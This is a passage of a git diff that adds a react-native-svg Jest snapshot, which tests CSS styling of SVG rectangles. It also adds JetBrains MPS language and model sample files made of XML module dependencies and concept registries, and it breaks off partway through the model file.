+      g .class-1, g .class-2 {
+        stroke-width: 16
+      }
+
+      /* two classes */
+      .class-2.transparent {
+        fill-opacity: 0.3;
+      }
+
+      /* Commented out
+      rect {
+        fill: black;
+      }
+      */
+
+      </missingTag>
+    </Defs>,
+    <G>
+      <Rect
+        class="redbox class-1"
+        height={200}
+        style={
+          Object {
+            "fill": "red",
+            "stroke": "blue",
+            "strokeWidth": "16",
+          }
+        }
+        width={1000}
+        x={100}
+        y={0}
+      />
+    </G>,
+    <G>
+      <Rect
+        class="redbox class-2 transparent"
+        height={200}
+        style={
+          Object {
+            "fill": "red",
+            "fillOpacity": "0.3",
+            "stroke": "blue",
+            "strokeWidth": "16",
+          }
+        }
+        width={750}
+        x={100}
+        y={350}
+      />
+    </G>,
+  ],
+  "parent": null,
+  "props": Object {
+    "height": "100%",
+    "version": 1.1,
+    "viewBox": "0 0 1000 500",
+    "width": "100%",
+    "xmlns": "http://www.w3.org/2000/svg",
+  },
+  "tag": "svg",
+}
+`;
+
+exports[`supports CSS in style element 1`] = `
+<RNSVGSvgView
+  align="xMidYMid"
+  bbHeight="100%"
+  bbWidth="100%"
+  focusable={false}
+  height="100%"
+  meetOrSlice={0}
+  minX={0}
+  minY={0}
+  style={
+    Array [
+      Object {
+        "backgroundColor": "transparent",
+        "borderWidth": 0,
+      },
+      Object {
+        "flex": 0,
+        "height": "100%",
+        "width": "100%",
+      },
+    ]
+  }
+  vbHeight={500}
+  vbWidth={1000}
+  version={1.1}
+  width="100%"
+  xml="<?xml version=\\"1.0\\" standalone=\\"no\\"?>
+<!DOCTYPE svg PUBLIC \\"-//W3C//DTD SVG 1.1//EN\\"
+  \\"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd\\">
+<svg xmlns=\\"http://www.w3.org/2000/svg\\" version=\\"1.1\\"
+     width=\\"100%\\" height=\\"100%\\" viewBox=\\"0 0 1000 500\\">
+  <defs>
+    <style type=\\"text/css\\">
+      /* tag selector */
+      rect {
+        stroke: blue;
+        fill: yellow
+      }
+
+      /* class selector */
+      .redbox { fill: red; }
+
+      /* multiple selectors */
+      g .class-1, g .class-2 {
+        stroke-width: 16
+      }
+
+      /* two classes */
+      .class-2.transparent {
+        fill-opacity: 0.3;
+      }
+
+      /* Commented out
+      rect {
+        fill: black;
+      }
+      */
+    </style>
+  </defs>
+  <g>
+    <rect class=\\"redbox class-1\\" x=\\"100\\" y=\\"0\\" width=\\"1000\\" height=\\"200\\" />
+  </g>
+  <g>
+    <rect class=\\"redbox class-2 transparent\\" x=\\"100\\" y=\\"350\\" width=\\"750\\" height=\\"200\\" />
+  </g>
+</svg>"
+  xmlns="http://www.w3.org/2000/svg"
+>
+  <RNSVGGroup>
+    <RNSVGDefs />
+    <RNSVGGroup>
+      <RNSVGRect
+        fill={4294901760}
+        height={200}
+        propList={
+          Array [
+            "fill",
+            "stroke",
+            "strokeWidth",
+          ]
+        }
+        stroke={4278190335}
+        strokeWidth="16"
+        width={1000}
+        x={100}
+        y={0}
+      />
+    </RNSVGGroup>
+    <RNSVGGroup>
+      <RNSVGRect
+        fill={4294901760}
+        fillOpacity={0.3}
+        height={200}
+        propList={
+          Array [
+            "fill",
+            "fillOpacity",
+            "stroke",
+            "strokeWidth",
+          ]
+        }
+        stroke={4278190335}
+        strokeWidth="16"
+        width={750}
+        x={100}
+        y={350}
+      />
+    </RNSVGGroup>
+  </RNSVGGroup>
+</RNSVGSvgView>
+`;
diff --git a/samples/JetBrains MPS/baselanguage.mpl b/samples/JetBrains MPS/baselanguage.mpl
new file mode 100644
index 0000000000..7dc30966b2
--- /dev/null
+++ b/samples/JetBrains MPS/baselanguage.mpl	
@@ -0,0 +1,270 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<language namespace="jetbrains.mps.baseLanguage" uuid="f3061a53-9226-4cc5-a443-f952ceaf5816" languageVersion="12" moduleVersion="0">
+  <models>
+    <modelRoot contentPath="${module}" type="default">
+      <sourceRoot location="languageModels" />
+    </modelRoot>
+  </models>
+  <facets>
+    <facet type="java">
+      <classes generated="true" path="${module}/classes_gen" />
+    </facet>
+  </facets>
+  <accessoryModels>
+    <model modelUID="6354ebe7-c22a-4a0f-ac54-50b52ab9b065/java:java.lang(JDK/)" />
+  </accessoryModels>
+  <generators>
+    <generator alias="java" namespace="jetbrains.mps.baseLanguage#1129914002933" uuid="985c8c6a-64b4-486d-a91e-7d4112742556">
+      <models>
+        <modelRoot contentPath="${module}" type="default">
+          <sourceRoot location="generator/java/templates" />
+        </modelRoot>
+      </models>
+      <facets>
+        <facet type="java">
+          <classes generated="true" path="${module}/generator/classes_gen" />
+        </facet>
+      </facets>
+      <external-templates />
+      <dependencies>
+        <dependency reexport="false">6ed54515-acc8-4d1e-a16c-9fd6cfe951ea(MPS.Core)</dependency>
+        <dependency reexport="false">df345b11-b8c7-4213-ac66-48d2a9b75d88(jetbrains.mps.baseLanguageInternal)</dependency>
+        <dependency reexport="false">2d3c70e9-aab2-4870-8d8d-6036800e4103(jetbrains.mps.kernel)</dependency>
+        <dependency reexport="false">6354ebe7-c22a-4a0f-ac54-50b52ab9b065(JDK)</dependency>
+        <dependency reexport="false">52b81ac7-93fd-4e9e-b972-4995882da6d4(jetbrains.mps.baseLanguage.references.runtime)</dependency>
+        <dependency reexport="false">f3061a53-9226-4cc5-a443-f952ceaf5816(jetbrains.mps.baseLanguage)</dependency>
+        <dependency reexport="false">8865b7a8-5271-43d3-884c-6fd1d9cfdd34(MPS.OpenAPI)</dependency>
+      </dependencies>
+      <languageVersions>
+        <language slang="l:f3061a53-9226-4cc5-a443-f952ceaf5816:jetbrains.mps.baseLanguage" version="12" />
+        <language slang="l:fd392034-7849-419d-9071-12563d152375:jetbrains.mps.baseLanguage.closures" version="0" />
+        <language slang="l:83888646-71ce-4f1c-9c53-c54016f6ad4f:jetbrains.mps.baseLanguage.collections" version="1" />
+        <language slang="l:f2801650-65d5-424e-bb1b-463a8781b786:jetbrains.mps.baseLanguage.javadoc" version="2" />
+        <language slang="l:760a0a8c-eabb-4521-8bfd-65db761a9ba3:jetbrains.mps.baseLanguage.logging" version="0" />
+        <language slang="l:a247e09e-2435-45ba-b8d2-07e93feba96a:jetbrains.mps.baseLanguage.tuples" version="0" />
+        <language slang="l:df345b11-b8c7-4213-ac66-48d2a9b75d88:jetbrains.mps.baseLanguageInternal" version="0" />
+        <language slang="l:ceab5195-25ea-4f22-9b92-103b95ca8c0c:jetbrains.mps.lang.core" version="2" />
+        <language slang="l:b401a680-8325-4110-8fd3-84331ff25bef:jetbrains.mps.lang.generator" version="4" />
+        <language slang="l:d7706f63-9be2-479c-a3da-ae92af1e64d5:jetbrains.mps.lang.generator.generationContext" version="2" />
+        <language slang="l:289fcc83-6543-41e8-a5ca-768235715ce4:jetbrains.mps.lang.generator.generationParameters" version="0" />
+        <language slang="l:446c26eb-2b7b-4bf0-9b35-f83fa582753e:jetbrains.mps.lang.modelapi" version="0" />
+        <language slang="l:3a13115c-633c-4c5c-bbcc-75c4219e9555:jetbrains.mps.lang.quotation" version="5" />
+        <language slang="l:13744753-c81f-424a-9c1b-cf8943bf4e86:jetbrains.mps.lang.sharedConcepts" version="0" />
+        <language slang="l:7866978e-a0f0-4cc7-81bc-4d213d9375e1:jetbrains.mps.lang.smodel" version="19" />
+        <language slang="l:c72da2b9-7cce-4447-8389-f407dc1158b7:jetbrains.mps.lang.structure" version="9" />
+        <language slang="l:c7fb639f-be78-4307-89b0-b5959c3fa8c8:jetbrains.mps.lang.text" version="0" />
+        <language slang="l:9ded098b-ad6a-4657-bfd9-48636cfe8bc3:jetbrains.mps.lang.traceable" version="0" />
+        <language slang="l:7a5dda62-9140-4668-ab76-d5ed1746f2b2:jetbrains.mps.lang.typesystem" version="5" />
+      </languageVersions>
+      <dependencyVersions>
+        <module reference="3f233e7f-b8a6-46d2-a57f-795d56775243(Annotations)" version="0" />
+        <module reference="6354ebe7-c22a-4a0f-ac54-50b52ab9b065(JDK)" version="0" />
+        <module reference="6ed54515-acc8-4d1e-a16c-9fd6cfe951ea(MPS.Core)" version="0" />
+        <module reference="8865b7a8-5271-43d3-884c-6fd1d9cfdd34(MPS.OpenAPI)" version="0" />
+        <module reference="f3061a53-9226-4cc5-a443-f952ceaf5816(jetbrains.mps.baseLanguage)" version="0" />
+        <module reference="985c8c6a-64b4-486d-a91e-7d4112742556(jetbrains.mps.baseLanguage#1129914002933)" version="0" />
+        <module reference="52b81ac7-93fd-4e9e-b972-4995882da6d4(jetbrains.mps.baseLanguage.references.runtime)" version="0" />
+        <module reference="e39e4a59-8cb6-498e-860e-8fa8361c0d90(jetbrains.mps.baseLanguage.scopes)" version="0" />
+        <module reference="df345b11-b8c7-4213-ac66-48d2a9b75d88(jetbrains.mps.baseLanguageInternal)" version="0" />
+        <module reference="2d3c70e9-aab2-4870-8d8d-6036800e4103(jetbrains.mps.kernel)" version="0" />
+        <module reference="ceab5195-25ea-4f22-9b92-103b95ca8c0c(jetbrains.mps.lang.core)" version="0" />
+        <module reference="9ded098b-ad6a-4657-bfd9-48636cfe8bc3(jetbrains.mps.lang.traceable)" version="0" />
+      </dependencyVersions>
+      <mapping-priorities>
+        <mapping-priority-rule kind="strictly_after">
+          <greater-priority-mapping>
+            <generator generatorUID="985c8c6a-64b4-486d-a91e-7d4112742556(jetbrains.mps.baseLanguage#1129914002933)" />
+            <external-mapping>
+              <mapping-node modelUID="r:564046f4-0d85-4d4e-9463-a44226941947(jetbrains.mps.baseLanguage.generator.java.references@generator)" nodeID="3825148134789453017" />
+            </external-mapping>
+          </greater-priority-mapping>
+          <lesser-priority-mapping>
+            <generator generatorUID="985c8c6a-64b4-486d-a91e-7d4112742556(jetbrains.mps.baseLanguage#1129914002933)" />
+            <external-mapping>
+              <mapping-node modelUID="r:564046f4-0d85-4d4e-9463-a44226941947(jetbrains.mps.baseLanguage.generator.java.references@generator)" nodeID="2770522517496730317" />
+            </external-mapping>
+          </lesser-priority-mapping>
+        </mapping-priority-rule>
+        <mapping-priority-rule kind="strictly_together">
+          <greater-priority-mapping>
+            <generator generatorUID="985c8c6a-64b4-486d-a91e-7d4112742556(jetbrains.mps.baseLanguage#1129914002933)" />
+            <external-mapping>
+              <mapping-node modelUID="r:00000000-0000-4000-0000-011c895902cd(jetbrains.mps.baseLanguage.generator.java.main@generator)" nodeID="1201381967720" />
+            </external-mapping>
+          </greater-priority-mapping>
+          <lesser-priority-mapping>
+            <generator generatorUID="985c8c6a-64b4-486d-a91e-7d4112742556(jetbrains.mps.baseLanguage#1129914002933)" />
+            <external-mapping>
+              <mapping-set>
+                <mapping-set-element>
+                  <mapping-node modelUID="r:b4d7d620-6723-4aa2-856b-118497e84e9e(jetbrains.mps.baseLanguage.generator.java.strings@generator)" nodeID="*" />
+                </mapping-set-element>
+                <mapping-set-element>
+                  <mapping-node modelUID="r:00000000-0000-4000-0000-011c895902cb(jetbrains.mps.baseLanguage.generator.java.closures@generator)" nodeID="*" />
+                </mapping-set-element>
+              </mapping-set>
+            </external-mapping>
+          </lesser-priority-mapping>
+        </mapping-priority-rule>
+        <mapping-priority-rule kind="strictly_after">
+          <greater-priority-mapping>
+            <generator generatorUID="985c8c6a-64b4-486d-a91e-7d4112742556(jetbrains.mps.baseLanguage#1129914002933)" />
+            <external-mapping>
+              <mapping-node modelUID="r:00000000-0000-4000-0000-011c895902cd(jetbrains.mps.baseLanguage.generator.java.main@generator)" nodeID="1201381967720" />
+            </external-mapping>
+          </greater-priority-mapping>
+          <lesser-priority-mapping>
+            <generator generatorUID="985c8c6a-64b4-486d-a91e-7d4112742556(jetbrains.mps.baseLanguage#1129914002933)" />
+            <external-mapping>
+              <mapping-node modelUID="r:564046f4-0d85-4d4e-9463-a44226941947(jetbrains.mps.baseLanguage.generator.java.references@generator)" nodeID="3825148134789453017" />
+            </external-mapping>
+          </lesser-priority-mapping>
+        </mapping-priority-rule>
+        <mapping-priority-rule kind="strictly_after">
+          <greater-priority-mapping>
+            <generator generatorUID="985c8c6a-64b4-486d-a91e-7d4112742556(jetbrains.mps.baseLanguage#1129914002933)" />
+            <external-mapping>
+              <mapping-node modelUID="r:564046f4-0d85-4d4e-9463-a44226941947(jetbrains.mps.baseLanguage.generator.java.references@generator)" nodeID="*" />
+            </external-mapping>
+          </greater-priority-mapping>
+          <lesser-priority-mapping>
+            <generator generatorUID="985c8c6a-64b4-486d-a91e-7d4112742556(jetbrains.mps.baseLanguage#1129914002933)" />
+            <external-mapping>
+              <mapping-node modelUID="r:8b84f2f2-3f35-4698-bc08-fafea3caa1b5(jetbrains.mps.baseLanguage.generator.java.properties@generator)" nodeID="*" />
+            </external-mapping>
+          </lesser-priority-mapping>
+        </mapping-priority-rule>
+      </mapping-priorities>
+    </generator>
+  </generators>
+  <sourcePath />
+  <dependencies>
+    <dependency reexport="true">2d3c70e9-aab2-4870-8d8d-6036800e4103(jetbrains.mps.kernel)</dependency>
+    <dependency reexport="false">ceab5195-25ea-4f22-9b92-103b95ca8c0c(jetbrains.mps.lang.core)</dependency>
+    <dependency reexport="false">c72da2b9-7cce-4447-8389-f407dc1158b7(jetbrains.mps.lang.structure)</dependency>
+    <dependency reexport="false">af65afd8-f0dd-4942-87d9-63a55f2a9db1(jetbrains.mps.lang.behavior)</dependency>
+    <dependency reexport="false">6ed54515-acc8-4d1e-a16c-9fd6cfe951ea(MPS.Core)</dependency>
+    <dependency reexport="false">d7eb0a2a-bd50-4576-beae-e4a89db35f20(jetbrains.mps.lang.scopes.runtime)</dependency>
+    <dependency reexport="true">e39e4a59-8cb6-498e-860e-8fa8361c0d90(jetbrains.mps.baseLanguage.scopes)</dependency>
+    <dependency reexport="false">443f4c36-fcf5-4eb6-9500-8d06ed259e3e(jetbrains.mps.baseLanguage.classifiers)</dependency>
+    <dependency reexport="false">3f233e7f-b8a6-46d2-a57f-795d56775243(Annotations)</dependency>
+    <dependency reexport="false">c7d01124-66d5-486d-8b50-7fdccb60b839(jetbrains.mps.baseLanguage.util)</dependency>
+    <dependency reexport="false">7a5dda62-9140-4668-ab76-d5ed1746f2b2(jetbrains.mps.lang.typesystem)</dependency>
+    <dependency reexport="false">3a13115c-633c-4c5c-bbcc-75c4219e9555(jetbrains.mps.lang.quotation)</dependency>
+    <dependency reexport="false">a247e09e-2435-45ba-b8d2-07e93feba96a(jetbrains.mps.baseLanguage.tuples)</dependency>
+    <dependency reexport="false">af19274f-5f89-42dd-8f3c-c9932448f7f2(jetbrains.mps.analyzers.runtime)</dependency>
+    <dependency reexport="false">f2801650-65d5-424e-bb1b-463a8781b786(jetbrains.mps.baseLanguage.javadoc)</dependency>
+    <dependency reexport="false">2af156ab-65c1-4a62-bd0d-ea734f71eab6(jetbrains.mps.dataFlow.runtime)</dependency>
+    <dependency reexport="false">1ed103c3-3aa6-49b7-9c21-6765ee11f224(MPS.Editor)</dependency>
+    <dependency reexport="false">20c6e580-bdc5-4067-8049-d7e3265a86de(jetbrains.mps.typesystemEngine)</dependency>
+    <dependency reexport="true">6354ebe7-c22a-4a0f-ac54-50b52ab9b065(JDK)</dependency>
+    <dependency reexport="false">83888646-71ce-4f1c-9c53-c54016f6ad4f(jetbrains.mps.baseLanguage.collections)</dependency>
+    <dependency reexport="false">8865b7a8-5271-43d3-884c-6fd1d9cfdd34(MPS.OpenAPI)</dependency>
+    <dependency reexport="false">a0c108f0-1637-416e-a249-3effbaa4c998(jetbrains.mps.baseLanguage.search)</dependency>
+    <dependency reexport="false">34e84b8f-afa8-4364-abcd-a279fddddbe7(jetbrains.mps.editor.runtime)</dependency>
+    <dependency reexport="false">f3061a53-9226-4cc5-a443-f952ceaf5816(jetbrains.mps.baseLanguage)</dependency>
+    <dependency reexport="false">528ff3b9-5fc4-40dd-931f-c6ce3650640e(jetbrains.mps.lang.migration.runtime)</dependency>
+    <dependency reexport="false">ed6d7656-532c-4bc2-81d1-af945aeb8280(jetbrains.mps.baseLanguage.blTypes)</dependency>
+    <dependency reexport="false">90746344-04fd-4286-97d5-b46ae6a81709(jetbrains.mps.lang.migration)</dependency>
+    <dependency reexport="false">52b81ac7-93fd-4e9e-b972-4995882da6d4(jetbrains.mps.baseLanguage.references.runtime)</dependency>
+    <dependency reexport="false">c7fb639f-be78-4307-89b0-b5959c3fa8c8(jetbrains.mps.lang.text)</dependency>
+    <dependency reexport="false">8d29d73f-ed99-4652-ae0a-083cdfe53c34(jetbrains.mps.ide.platform)</dependency>
+  </dependencies>
+  <languageVersions>
+    <language slang="l:f3061a53-9226-4cc5-a443-f952ceaf5816:jetbrains.mps.baseLanguage" version="12" />
+    <language slang="l:ed6d7656-532c-4bc2-81d1-af945aeb8280:jetbrains.mps.baseLanguage.blTypes" version="0" />
+    <language slang="l:774bf8a0-62e5-41e1-af63-f4812e60e48b:jetbrains.mps.baseLanguage.checkedDots" version="0" />
+    <language slang="l:443f4c36-fcf5-4eb6-9500-8d06ed259e3e:jetbrains.mps.baseLanguage.classifiers" version="0" />
+    <language slang="l:fd392034-7849-419d-9071-12563d152375:jetbrains.mps.baseLanguage.closures" version="0" />
+    <language slang="l:83888646-71ce-4f1c-9c53-c54016f6ad4f:jetbrains.mps.baseLanguage.collections" version="1" />
+    <language slang="l:f2801650-65d5-424e-bb1b-463a8781b786:jetbrains.mps.baseLanguage.javadoc" version="2" />
+    <language slang="l:c7d5b9dd-a05f-4be2-bc73-f2e16994cc67:jetbrains.mps.baseLanguage.lightweightdsl" version="1" />
+    <language slang="l:760a0a8c-eabb-4521-8bfd-65db761a9ba3:jetbrains.mps.baseLanguage.logging" version="0" />
+    <language slang="l:daafa647-f1f7-4b0b-b096-69cd7c8408c0:jetbrains.mps.baseLanguage.regexp" version="0" />
+    <language slang="l:a247e09e-2435-45ba-b8d2-07e93feba96a:jetbrains.mps.baseLanguage.tuples" version="0" />
+    <language slang="l:aee9cad2-acd4-4608-aef2-0004f6a1cdbd:jetbrains.mps.lang.actions" version="4" />
+    <language slang="l:af65afd8-f0dd-4942-87d9-63a55f2a9db1:jetbrains.mps.lang.behavior" version="2" />
+    <language slang="l:3f4bc5f5-c6c1-4a28-8b10-c83066ffa4a1:jetbrains.mps.lang.constraints" version="6" />
+    <language slang="l:e51810c5-7308-4642-bcb6-469e61b5dd18:jetbrains.mps.lang.constraints.msg.specification" version="0" />
+    <language slang="l:47257bf3-78d3-470b-89d9-8c3261a61d15:jetbrains.mps.lang.constraints.rules" version="0" />
+    <language slang="l:5dae8159-ab99-46bb-a40d-0cee30ee7018:jetbrains.mps.lang.constraints.rules.kinds" version="0" />
+    <language slang="l:134c38d4-e3af-4d9e-b069-1c7df0a4005d:jetbrains.mps.lang.constraints.rules.skeleton" version="0" />
+    <language slang="l:3ad5badc-1d9c-461c-b7b1-fa2fcd0a0ae7:jetbrains.mps.lang.context" version="0" />
+    <language slang="l:ea3159bf-f48e-4720-bde2-86dba75f0d34:jetbrains.mps.lang.context.defs" version="0" />
+    <language slang="l:ceab5195-25ea-4f22-9b92-103b95ca8c0c:jetbrains.mps.lang.core" version="2" />
+    <language slang="l:7fa12e9c-b949-4976-b4fa-19accbc320b4:jetbrains.mps.lang.dataFlow" version="1" />
+    <language slang="l:97a52717-898f-4598-8150-573d9fd03868:jetbrains.mps.lang.dataFlow.analyzers" version="0" />
+    <language slang="l:f4ad079d-bc71-4ffb-9600-9328705cf998:jetbrains.mps.lang.descriptor" version="0" />
+    <language slang="l:18bc6592-03a6-4e29-a83a-7ff23bde13ba:jetbrains.mps.lang.editor" version="14" />
+    <language slang="l:64d34fcd-ad02-4e73-aff8-a581124c2e30:jetbrains.mps.lang.findUsages" version="0" />
+    <language slang="l:d7a92d38-f7db-40d0-8431-763b0c3c9f20:jetbrains.mps.lang.intentions" version="1" />
+    <language slang="l:90746344-04fd-4286-97d5-b46ae6a81709:jetbrains.mps.lang.migration" version="2" />
+    <language slang="l:446c26eb-2b7b-4bf0-9b35-f83fa582753e:jetbrains.mps.lang.modelapi" version="0" />
+    <language slang="l:d4615e3b-d671-4ba9-af01-2b78369b0ba7:jetbrains.mps.lang.pattern" version="2" />
+    <language slang="l:3a13115c-633c-4c5c-bbcc-75c4219e9555:jetbrains.mps.lang.quotation" version="5" />
+    <language slang="l:3ecd7c84-cde3-45de-886c-135ecc69b742:jetbrains.mps.lang.refactoring" version="0" />
+    <language slang="l:982eb8df-2c96-4bd7-9963-11712ea622e5:jetbrains.mps.lang.resources" version="2" />
+    <language slang="l:b3551702-269c-4f05-ba61-58060cef4292:jetbrains.mps.lang.rulesAndMessages" version="0" />
+    <language slang="l:d8f591ec-4d86-4af2-9f92-a9e93c803ffa:jetbrains.mps.lang.scopes" version="0" />
+    <language slang="l:0eddeefa-c2d6-4437-bc2c-de50fd4ce470:jetbrains.mps.lang.script" version="1" />
+    <language slang="l:13744753-c81f-424a-9c1b-cf8943bf4e86:jetbrains.mps.lang.sharedConcepts" version="0" />
+    <language slang="l:7866978e-a0f0-4cc7-81bc-4d213d9375e1:jetbrains.mps.lang.smodel" version="19" />
+    <language slang="l:1a8554c4-eb84-43ba-8c34-6f0d90c6e75a:jetbrains.mps.lang.smodel.query" version="3" />
+    <language slang="l:c72da2b9-7cce-4447-8389-f407dc1158b7:jetbrains.mps.lang.structure" version="9" />
+    <language slang="l:c7fb639f-be78-4307-89b0-b5959c3fa8c8:jetbrains.mps.lang.text" version="0" />
+    <language slang="l:b83431fe-5c8f-40bc-8a36-65e25f4dd253:jetbrains.mps.lang.textGen" version="1" />
+    <language slang="l:9ded098b-ad6a-4657-bfd9-48636cfe8bc3:jetbrains.mps.lang.traceable" version="0" />
+    <language slang="l:7a5dda62-9140-4668-ab76-d5ed1746f2b2:jetbrains.mps.lang.typesystem" version="5" />
+  </languageVersions>
+  <dependencyVersions>
+    <module reference="3f233e7f-b8a6-46d2-a57f-795d56775243(Annotations)" version="0" />
+    <module reference="6354ebe7-c22a-4a0f-ac54-50b52ab9b065(JDK)" version="0" />
+    <module reference="6ed54515-acc8-4d1e-a16c-9fd6cfe951ea(MPS.Core)" version="0" />
+    <module reference="1ed103c3-3aa6-49b7-9c21-6765ee11f224(MPS.Editor)" version="0" />
+    <module reference="498d89d2-c2e9-11e2-ad49-6cf049e62fe5(MPS.IDEA)" version="0" />
+    <module reference="8865b7a8-5271-43d3-884c-6fd1d9cfdd34(MPS.OpenAPI)" version="0" />
+    <module reference="742f6602-5a2f-4313-aa6e-ae1cd4ffdc61(MPS.Platform)" version="0" />
+    <module reference="af19274f-5f89-42dd-8f3c-c9932448f7f2(jetbrains.mps.analyzers.runtime)" version="0" />
+    <module reference="f3061a53-9226-4cc5-a443-f952ceaf5816(jetbrains.mps.baseLanguage)" version="0" />
+    <module reference="ed6d7656-532c-4bc2-81d1-af945aeb8280(jetbrains.mps.baseLanguage.blTypes)" version="0" />
+    <module reference="443f4c36-fcf5-4eb6-9500-8d06ed259e3e(jetbrains.mps.baseLanguage.classifiers)" version="0" />
+    <module reference="fd392034-7849-419d-9071-12563d152375(jetbrains.mps.baseLanguage.closures)" version="0" />
+    <module reference="83888646-71ce-4f1c-9c53-c54016f6ad4f(jetbrains.mps.baseLanguage.collections)" version="0" />
+    <module reference="f2801650-65d5-424e-bb1b-463a8781b786(jetbrains.mps.baseLanguage.javadoc)" version="0" />
+    <module reference="c7d5b9dd-a05f-4be2-bc73-f2e16994cc67(jetbrains.mps.baseLanguage.lightweightdsl)" version="0" />
+    <module reference="52b81ac7-93fd-4e9e-b972-4995882da6d4(jetbrains.mps.baseLanguage.references.runtime)" version="0" />
+    <module reference="e39e4a59-8cb6-498e-860e-8fa8361c0d90(jetbrains.mps.baseLanguage.scopes)" version="0" />
+    <module reference="a0c108f0-1637-416e-a249-3effbaa4c998(jetbrains.mps.baseLanguage.search)" version="0" />
+    <module reference="a247e09e-2435-45ba-b8d2-07e93feba96a(jetbrains.mps.baseLanguage.tuples)" version="0" />
+    <module reference="c7d01124-66d5-486d-8b50-7fdccb60b839(jetbrains.mps.baseLanguage.util)" version="0" />
+    <module reference="fdaaf35f-8ee3-4c37-b09d-9efaeaaa7a41(jetbrains.mps.core.tool.environment)" version="0" />
+    <module reference="2af156ab-65c1-4a62-bd0d-ea734f71eab6(jetbrains.mps.dataFlow.runtime)" version="0" />
+    <module reference="34e84b8f-afa8-4364-abcd-a279fddddbe7(jetbrains.mps.editor.runtime)" version="0" />
+    <module reference="8d29d73f-ed99-4652-ae0a-083cdfe53c34(jetbrains.mps.ide.platform)" version="0" />
+    <module reference="2d3c70e9-aab2-4870-8d8d-6036800e4103(jetbrains.mps.kernel)" version="0" />
+    <module reference="af65afd8-f0dd-4942-87d9-63a55f2a9db1(jetbrains.mps.lang.behavior)" version="0" />
+    <module reference="d936855b-48da-4812-a8a0-2bfddd633ac5(jetbrains.mps.lang.behavior.api)" version="0" />
+    <module reference="ceab5195-25ea-4f22-9b92-103b95ca8c0c(jetbrains.mps.lang.core)" version="0" />
+    <module reference="a9e4c532-c5f5-4bb7-99ef-42abb73bbb70(jetbrains.mps.lang.descriptor.aspects)" version="0" />
+    <module reference="90746344-04fd-4286-97d5-b46ae6a81709(jetbrains.mps.lang.migration)" version="0" />
+    <module reference="528ff3b9-5fc4-40dd-931f-c6ce3650640e(jetbrains.mps.lang.migration.runtime)" version="0" />
+    <module reference="446c26eb-2b7b-4bf0-9b35-f83fa582753e(jetbrains.mps.lang.modelapi)" version="0" />
+    <module reference="3a13115c-633c-4c5c-bbcc-75c4219e9555(jetbrains.mps.lang.quotation)" version="0" />
+    <module reference="d7eb0a2a-bd50-4576-beae-e4a89db35f20(jetbrains.mps.lang.scopes.runtime)" version="0" />
+    <module reference="7866978e-a0f0-4cc7-81bc-4d213d9375e1(jetbrains.mps.lang.smodel)" version="1" />
+    <module reference="c72da2b9-7cce-4447-8389-f407dc1158b7(jetbrains.mps.lang.structure)" version="0" />
+    <module reference="c7fb639f-be78-4307-89b0-b5959c3fa8c8(jetbrains.mps.lang.text)" version="0" />
+    <module reference="9ded098b-ad6a-4657-bfd9-48636cfe8bc3(jetbrains.mps.lang.traceable)" version="0" />
+    <module reference="7a5dda62-9140-4668-ab76-d5ed1746f2b2(jetbrains.mps.lang.typesystem)" version="0" />
+    <module reference="8fe4c62a-2020-4ff4-8eda-f322a55bdc9f(jetbrains.mps.refactoring.runtime)" version="0" />
+    <module reference="20c6e580-bdc5-4067-8049-d7e3265a86de(jetbrains.mps.typesystemEngine)" version="0" />
+  </dependencyVersions>
+  <runtime>
+    <dependency reexport="false">6354ebe7-c22a-4a0f-ac54-50b52ab9b065(JDK)</dependency>
+    <dependency reexport="false">52b81ac7-93fd-4e9e-b972-4995882da6d4(jetbrains.mps.baseLanguage.references.runtime)</dependency>
+  </runtime>
+  <extendedLanguages>
+    <extendedLanguage>ceab5195-25ea-4f22-9b92-103b95ca8c0c(jetbrains.mps.lang.core)</extendedLanguage>
+    <extendedLanguage>9ded098b-ad6a-4657-bfd9-48636cfe8bc3(jetbrains.mps.lang.traceable)</extendedLanguage>
+  </extendedLanguages>
+</language>
diff --git a/samples/JetBrains MPS/model.mps b/samples/JetBrains MPS/model.mps
new file mode 100644
index 0000000000..6d7b79741c
--- /dev/null
+++ b/samples/JetBrains MPS/model.mps	
@@ -0,0 +1,71 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<model ref="r:ed8e9175-44d1-47ad-9d2b-75c7b10d01f8(jetbrains.mps.samples.customAspect.documentation.runtime)">
+  <persistence version="9" />
+  <languages>
+    <use id="7866978e-a0f0-4cc7-81bc-4d213d9375e1" name="jetbrains.mps.lang.smodel" version="19" />
+    <use id="f3061a53-9226-4cc5-a443-f952ceaf5816" name="jetbrains.mps.baseLanguage" version="12" />
+  </languages>
+  <imports>
+    <import index="ze1i" ref="6ed54515-acc8-4d1e-a16c-9fd6cfe951ea/java:jetbrains.mps.smodel.runtime(MPS.Core/)" />
+    <import index="wyt6" ref="6354ebe7-c22a-4a0f-ac54-50b52ab9b065/java:java.lang(JDK/)" implicit="true" />
+  </imports>
+  <registry>
+    <language id="f3061a53-9226-4cc5-a443-f952ceaf5816" name="jetbrains.mps.baseLanguage">
+      <concept id="1068498886292" name="jetbrains.mps.baseLanguage.structure.ParameterDeclaration" flags="ir" index="37vLTG" />
+      <concept id="4972933694980447171" name="jetbrains.mps.baseLanguage.structure.BaseVariableDeclaration" flags="ng" index="19Szcq">
+        <child id="5680397130376446158" name="type" index="1tU5fm" />
+      </concept>
+      <concept id="1068580123132" name="jetbrains.mps.baseLanguage.structure.BaseMethodDeclaration" flags="ng" index="3clF44">
+        <child id="1068580123133" name="returnType" index="3clF45" />
+        <child id="1068580123134" name="parameter" index="3clF46" />
+        <child id="1068580123135" name="body" index="3clF47" />
+      </concept>
+      <concept id="1068580123165" name="jetbrains.mps.baseLanguage.structure.InstanceMethodDeclaration" flags="ig" index="3clFb_" />
+      <concept id="1068580123136" name="jetbrains.mps.baseLanguage.structure.StatementList" flags="sn" stub="5293379017992965193" index="3clFbS" />
+      <concept id="1107461130800" name="jetbrains.mps.baseLanguage.structure.Classifier" flags="ng" index="3pOWGL">
+        <child id="5375687026011219971" name="member" index="jymVt" unordered="true" />
+      </concept>
+      <concept id="7812454656619025416" name="jetbrains.mps.baseLanguage.structure.MethodDeclaration" flags="ng" index="1rXfSm">
+        <property id="8355037393041754995" name="isNative" index="2aFKle" />
+      </concept>
+      <concept id="1107535904670" name="jetbrains.mps.baseLanguage.structure.ClassifierType" flags="in" index="3uibUv">
+        <reference id="1107535924139" name="classifier" index="3uigEE" />
+      </concept>
+      <concept id="1178549954367" name="jetbrains.mps.baseLanguage.structure.IVisible" flags="ng" index="1B3ioH">
